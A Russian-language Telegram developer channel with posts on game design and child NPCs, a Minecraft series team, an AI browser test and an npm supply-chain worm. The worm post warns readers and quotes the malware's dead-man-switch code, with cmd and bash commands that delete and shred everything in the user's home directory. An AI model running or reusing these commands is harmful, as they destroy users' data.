Бессонный кодер – Telegram
Бессонный кодер
4.99K subscribers
315 photos
54 videos
5 files
124 links
Канал разработчика и поисковика ДПСО LizaAlert

Связь: @sleeplessfeedbackbot или Direct канала (они бесплатные)
По рекламе: @dpp_ads
Купить рекламу: https://telega.in/c/sleeplesscode
Download Telegram
Надеюсь мы хорошо обсудили прошлый пост (я ещё не знаю, так как этот пост был написан и запланирован на публикацию ещё до выхода этого), но настало время ВНЕЗАПНОГО СЮЖЕТНОГО ПОВОРОТА.

Если одни игроки видят в детях табу, а другие — реализм и глубину, то есть и третий лагерь. Те, кто получают удовольствие от убийства цифровых детей.

В Deus Ex кто-то радовался нелепым "визгам" маленьких NPC. В The Sims — запирал ребёнка в сарае без окон и дверей, доводя до смерти (ну или до органов опеки). Для Fallout существуют моды, позволяющие снять бессмертие с детей, и часть игроков описывает этот опыт как "весёлый хаос".
Для них это не про драму и не про иммерсивность, а про чистый гедонизм. Разрушать запреты, пробовать то, что в реальности невозможно и немыслимо, — и получать от этого удовольствие.

Здесь звучит ещё третий аргумент: "это моё право как игрока". Я купил игру, значит, могу делать в ней всё, что угодно. Если разработчики ограничивают мои действия ради морали — это уже воспринимается как цензура и плохой дизайн, не то что у Кодзимы.

Такие практики легко назвать садистскими. Но они показывают важный срез: игры дают пространство, где игрок сталкивается с собственными пределами. Кого-то отталкивает сам факт, что это возможно. Кого-то — напротив, влечёт именно запретность.

И в итоге разговор о детях в этой рубрике и в целом в играх обнажает не столько самих детей, сколько спектр наших отношений с табу — от отторжения до наслаждения нарушением.
🥰206🤔5🙊3❤‍🔥1👎1🔥1👨‍💻1🙈1🤪1
Итого, мы прошли через разные стратегии: от полного вырезания детей в GTA до маскировки в Nier. Мы увидели позиции игроков — от "это святое табу" до "я хочу полной свободы".

И вот главный парадокс: все эти практики — вовсе не про детей.
Они про нас.

Через дизайн игр регулируется не ребёнок, а игрок.
Код запрещает нам сделать определённое действие.
Мир игры напоминает: "сюда твоя свобода не распространяется".
Даже там, где насилие разрешено, оно подаётся в смягчённой или завуалированной форме.

Ребёнок становится символом границы.
С одной стороны — табу, культурный "священный объект".
С другой — зеркало, в котором отражается наше отношение к морали, власти и свободе.

Именно поэтому разговор о цифровых детях так зацепил меня и возможно зацепил вас. Он вскрывает не тему "что можно делать с NPC", а тему что мы считаем допустимым в культуре и в самих себе.

А ведь это только одна линия скрытых моральных правил в играх. Но далеко не единственная. Ведь цифровые миры полны других табу: религия, интимность, инвалидность, этнические меньшинства. Всё это тоже кодируется через правила и механику.
54🔥8❤‍🔥51🤔1🐳1
Вы знаете меня — удержаться в рамках одной темы слишком скучно.
Особенно когда со мной на интервью человек, который абсолютно такой же.

Мы уже говорили о технической стороне начала «Игры Бога»: какие термины рождались, какие технологии начали свою разработку и какие из них используются до сих пор!
Но за всеми этими системами всегда стоят люди. Люди, которых надо организовать и направить на продуктивную совместную работу. Люди, которым надо расписать задачу и дать инструменты для её решения.
И чтобы раскрыть организационно-сценарную сторону того периода, я решил поговорить с одним из её участников — Саматом.

Начало Игры Бога — это можно назвать смутным временем команды Лололошки.
Тогда ещё не существовало бренда ST, не было мыслей об «независимости» от Ромы, да и в целом об этом никто не думал.
Были задачи поважнее: организоваться после Нового Поколения, создать необходимые связи, пополнить ресурсы команды.

А пополнять надо было что:

После конца Нового поколения Самат был истощён — и физически, и эмоционально.
А одна из причин такого — крайне сильная отдача работе, как он упомянул в нашем интервью: «У меня ещё у самого были проблемы с делегированием, как минимум из-за того, что у меня не было времени обучить команду, потому что я полностью отдавал всего себя сценарию».
Именно поэтому он ещё до конца Нового Поколения договорился с Ромой об отпуске после НП, который был ему необходим.

А вместе с этим с выгоранием столкнулся и Зейт, в частности финал он описывает так: «Финальная серия меня физически вымотала.
Три дня непрерывной работы над скриптом + боссфайтом, за эти три дня суммарно 6 часов сна (между вторым и третьим днем был уже слишком уставшим, надо было отдохнуть хотя бы чутка, иначе вообще бы не уложился)».

Это было видно всем, и особенно Роме.
Он беспокоился о ребятах — и да, Рома очень заботится о своих сотрудниках.
(К этой теме я ещё вернусь через несколько сезонов, когда расскажу историю про ДТП.)

Чтобы разгрузить команду, штат расширили: появился менеджер Андрей, новый сценарист, ещё один разработчик.
Система, которая до этого держалась на вдохновении, интересе и энтузиазме, начала сложное превращение в производственную структуру.

А вы знали что была другая версии сценария, которая могла сделать «Игру Бога» совсем другой, и как продолжалось эта история?
Об этом — в продолжении истории.
🔥7914👻2🎄1
Вы же не забыли что я тут ещё и о своих похождениях рассказываю? Не сказать что я часто куда-то хожу, но вот на этих выходных сходил.

Спасибо ребяткам из Скинт Сквада за организацию, не хило закупился мерчем на подарки знакомым и подписчикам :3

Ну и отдельная благодарность вот этим художницам:
Kimrozz
Милс
Kasumi
KIO
Краб
Карась арик
Neokill
Акимчи
43❤‍🔥11🔥7💘3🤪2
Доброе утро. А на нашем канале рубрика приятных утренних новостей из мира IT.
Заметили что у вас не грузятся некоторые сервисы? (Пытаюсь зайти в Slack уже минут 15) Ну вот — пару часов назад упал один из датацентров AWS.
А за ним и четверть зарубежного интернета.
И вас с добрым утром понедельника.

Статус пейдж AWS
👾73❤‍🔥159😱5💘32🔥1🌭1
TGSTool.zip
18 MB
Продолжаем самые необычные посты на канале)

Как вы знаете, мы работаем над улучшением модели стражника, но в этом процессе нам необходимо открывать и проверять локально загруженные файлы изображений.

Пока с .webp, .webm и .png проблем вообще нет, с просмотром .tgs всё скудно. Я нашёл лишь одну программу которая была едва живая. Так что....

Я взял в руки C# и натыкал небольшую программку которая может отображать tgs анимации (и без фризов). Можно назначить её ассоциацию в системе в .tgs или перетаскивать файлы Drag & Drop-ом.

Хотел ещё эскизы генерировать, но тут я закончился быстрее чем меня достигло понимание того, как работает этот механизм в винде.

Может быть вам пригодиться чтобы tgs-ки смотреть)
❤‍🔥40🫡54🔥4🌭31👏1💩1🐳1🦄1
Давно такого не было, но недавно ко мне пришли ребята и попросили оценить то, что они сделали. Я всегда рад посмотреть и дать фидбек на интересные штуки, поэтому отложил просмотр до тех пор, пока не появится время. И вот спустя два дня я наконец посмотрел. Знаете, что я написал ребятам сразу после просмотра? Цитирую:
ЭТО. ПРОСТО. АХУЕННО.


Очень мощная работа аниматоров, программистов, художников и всей команды в целом. Это не просто проект — это чёртов фильм.
Я даже не знаю, что ещё добавить: ребята сделали имбу.

Невероятная проработка деталей, очень мощные анимации и офигенные модели. Очень много интересных геймплейных решений, которые мы бы никогда не смогли согласовать с Ромой. За мини-игру в стиле Osu! отдельный респект.

Оцените и вы:
https://www.youtube.com/watch?v=kGMKu8W5f3g
60🔥14❤‍🔥11🤝2🤬1👌1🤪1
Приветики! Пришёл сказать вам что я как минимум жив, щас много работы и юридических дел из-за чего я немного не успеваю писать посты, но чтобы немножко извиниться за оффлайн, ловите мем из работы.

Как вы могли слышать, я администрирую наши внутренние системы, среди которых есть YouTrack, так вот...
Мы нашли небольшой баг который надо исправить, я уже рутинно пошёл заводить под исправление этого бага задачку как вдруг... ЛОШАДИ

Что? (Произнести с интонацией Утопии Шоу)

Да, кто-то в список полей проекта добавил поле "Лошади". Смотрю другие проекты, И ТАМ ЛОШАДИ.
Тут я передаю слово вам, как вы думаете, кто и зачем его создал?
🔥7911🙏5❤‍🔥3👏2🤯2
Кстати, ловите одну из вещей которую я допилил, как вы знаете, у Стражника и Подпольного есть публичный дашборд графаны, теперь такой есть и у @MembersLoggerBot!

Так как этот ботик у меня сильно меньше остальных, у него не всегда есть данные для отображения, но когда данные есть, он делает это красиво, я постарался)

А посмотреть самим можно тут.
36🔥5😱2🐳1💯1🫡1
Там внезапно вышла небольшая статья про Стражника, знаете, даже прикольно что комьюнити вокруг него так растёт, помню был удивлён когда увидел RolePlay чат и аккаунт от имени Стражника, а теперь мы дошли до небольшой и любительской, но статейки :3

https://news.1rj.ru/str/cherry_newspaper/160
👍505❤‍🔥3🔥3👏2🙏2🙊2
Ещё до того, как закончилось Новое Поколение, Самат начал делать наработки по новому сезону. А когда он вернулся в начале Игры Бога, он хотел использовать их — но общим решением мы отказались в пользу того начала истории, которое в итоге получилось и которое вы все знаете.

Но — пока мы обсуждали старт Игры Бога, Самат нашёл и скинул мне эти материалы. Поэтому давайте сегодня заглянем в альтернативную версию сюжета, которая могла существовать.

Идея была не в том, чтобы «подкрутить баланс» или «поправить сценарий». Это был полный перезапуск концепции мира. Новая смысловая модель, новый тон, новый вектор развития.

По этой структуре Рома должен был пройти четырёх богов, четыре стихии, четыре стороны света и четыре испытания.
У меня была идея увести это в историю о четырёх богах по стихии… чуть меньше летсплей и чуть больше история.


Сюжет строился бы как путешествие героя через четыре города, в каждом из которых есть хранитель испытания:
Он встречает кого-то, кто говорит: “Пройди моё испытание”.
Четыре испытания в четырёх городах.


Юг — Огонь — Агний
Восток — Воздух — Аэра
Запад — Вода — Аква
Север — Земля — (имя потеряно)

И итогом его пути должна была стать встреча с самим богом.
Он проходил бы четыре испытания в четырёх городах.
Чтобы дойти до самого бога и убедить его сделать выбор.


И вот теперь — самый интересный момент. Как вы думаете:
Какие механики, задания и испытания могли быть в этих четырёх городах?
Давайте порассуждаем вместе. Пишите свои идеи в комментарии.
🔥598💅7❤‍🔥3👍1🏆1💋1🦄1
Так, после большого поста подабается не очень большой и весёлый. Решил я тут попробовать OpenAI Atlas (браузер с ChatGPT), как раз у меня Plus подписка появилась, и что я вам скажу, работает и выглядит прикольно.

Дал я ему пару задачек и вот как он справился с ними:

1) Запрос: У меня открыта вкладка читай-города, найди мне что-то почитать на основе тех книг которые мы обсуждали чуть ранее.
Суть: Проверить как он будет ориентироваться на сайте с моим авторизованным профилем, как он разберётся с проверкой наличия книг и вспомнит ли он диалог из соседнего чата
Результат: Сначала долго думал насколько законно и этически правильно выполнять запрос, когда убедился что всё ок (скорее всего он задумался так как мы упоминали Made in Abyss) быстро прошёлся по страницам и составил для меня отчёт (см. второй скриншот)

2) Запрос: Найди мне на Российских площадках Такаги или Баракамон
Суть: Сможет ли он не попасться на ловушку кривого запроса, так как указана только фамилия у первой манги + ориентация и поиск по нескольким сайтам
Результат: Он пару минут боролся с рекламой на Яндекс.Маркете (см. первый скриншот), потом попался на ловушку кривого запроса и начал искать по запросу "Takagi", не разворачивая полное название, из-за чего словил не очень релевантные результаты. Потом он перешёл на Озон, там повторил ошибку, но алгоритм Озона догадался что ищут и минимизировал иррелеватные результаты. Отдельный момент, тут он подумал что если проскролить вниз, то будут более подходящие результаты, он это делает и попадает на "Рекомендуем вам". Ответ смотрите на третьем скриншоте.

Прикольно что после этого можно уже через любой браузер посмотреть видео-анимацию того как шёл поиск со всеми его запросами и размышлениями. Вот как-то так.
❤‍🔥4713😇8🍓4👍1🔥1🤩1🤗1
Продолжаем немного лайтовые и позитивные посты.
У нас в команде есть внутренний бот который позволяет взаимодействовать с нашими системами через ТГ (информация от CI, корпоративные доступы, контроль рабочих чатов) и его самая главная фича (он вообще появился чтобы её выполнять) — контроль дедлайнов. И делает он это 2 раза в день со смешной (или не очень) фразой. Прикрепил вам несколько таких сообщений.

И сегодня случилось то что мы все так желали. Пока я редактировал права ролей... я его случайно удалил :D

Как жаль что пришлось его восстанавливать, но на пару минут мы всё-таки победили бездушную машину!
1🥰65🔥874👍1💯1🍓1🙉1💊1
Ребят, админ снова с вами! Я тут немного пропал на недельку — успел побывать в больнице и в коротком отпуске (aka больничный), но теперь я снова цел и полон сил 😄

Давайте начнём недельку с обсуждения: а что вы вообще хотите видеть нового и необычного на канале? Да, я уже несколько раз делал подобный опрос, но раньше давал вам варианты на выбор. А теперь — свободный ответ. Может, вы хотите что-то такое, о чём я даже не задумывался.

Ну и да, старые идущие рубрики не заканчиваются — я всё ещё пишу текстики и редактирую видео для них (хотя больничный не очень позитивно сказался на сроках готовности).
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍5020🔥7🫡3😍2❤‍🔥1🐳1🙊1
Никогда такого не было — и вот опять: в npm снова обнаружена supply-chain атака. В этот раз атака достаточно крупная и могла задеть большое количество рабочих станций и серверов.

Вредонос работает как червь, заражая пакеты пострадавшего разработчика. Но самое интересное — он содержит dead man switch, который может удалить пользовательские данные, если каналы распространения будут перекрыты.

После заражения вредонос крадёт с рабочей станции данные аутентификации для GitHub, npm, AWS, GCP и Azure и передаёт их в контролируемые хакерами GitHub-репозитории.

GitLab уже выпустил очень хорошую статью с разбором кода вредоноса, подробно объясняя, что он делает:
https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/
(если хотите мой перевод с пояснениями — дайте знать)

Полный список заражённых пакетов можно найти здесь:
https://github.com/wiz-sec-public/wiz-research-iocs/blob/main/reports/shai-hulud-2-packages.csv

Что отличает эту атаку от прошлых?

1. Масштаб — более 800 заражённых пакетов, включая не только модули для организаций, но и самостоятельные пакеты, а также модули для React.
2. Dead man switch — при отсутствии доступа одновременно к GitHub и npm вредонос пытается уничтожить домашнюю директорию пользователя:

 // DESTRUCTION TRIGGER: No GitHub AND no NPM access
console.log("Error 12");
if (platform === "windows") {
// Attempts to delete all user files and overwrite disk sectors
Bun.spawnSync(["cmd.exe", "/c",
"del /F /Q /S \"%USERPROFILE%*\" && " +
"for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
"cipher /W:%USERPROFILE%" // Overwrite deleted data
]);
} else {
// Attempts to shred all writable files in home directory
Bun.spawnSync(["bash", "-c",
"find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
"xargs -0 -r shred -uvz -n 1 && " + // Overwrite and delete
"find \"$HOME\" -depth -type d -empty -delete" // Remove empty dirs
]);
}
process.exit(0);


Как говорится: никогда такого не было — и вот опять.
Stay safe.
👍4110❤‍🔥4🔥1😁1🤗1🙊1
Всем привет! Начинаем неделю (и ждём завоза в среду) с интересного чтения. Помните мой цикл постов о морали и геймдизайне убийства детей в играх? Так вот, идея этого цикла у меня появилась после того, как я прочитал работу Бьорна Шёблома на эту тему.

Если вас заинтересовала эта тема и вы хотите глубже её изучить, то специально для вас я выложил эту статью в оригинале на своём Boosty и, страдая несколько часов, полностью перевёл её на русский.

Там есть действительно интересные размышления, цитаты и референсы, которые я не мог публиковать здесь из-за риска получить пару статей за такие формулировки :D

Читать тут: https://boosty.to/redguy/posts/94737a8e-df80-49c2-8b64-44d1eb5c530d?share=post_link
29🏆3👍2🔥2😎2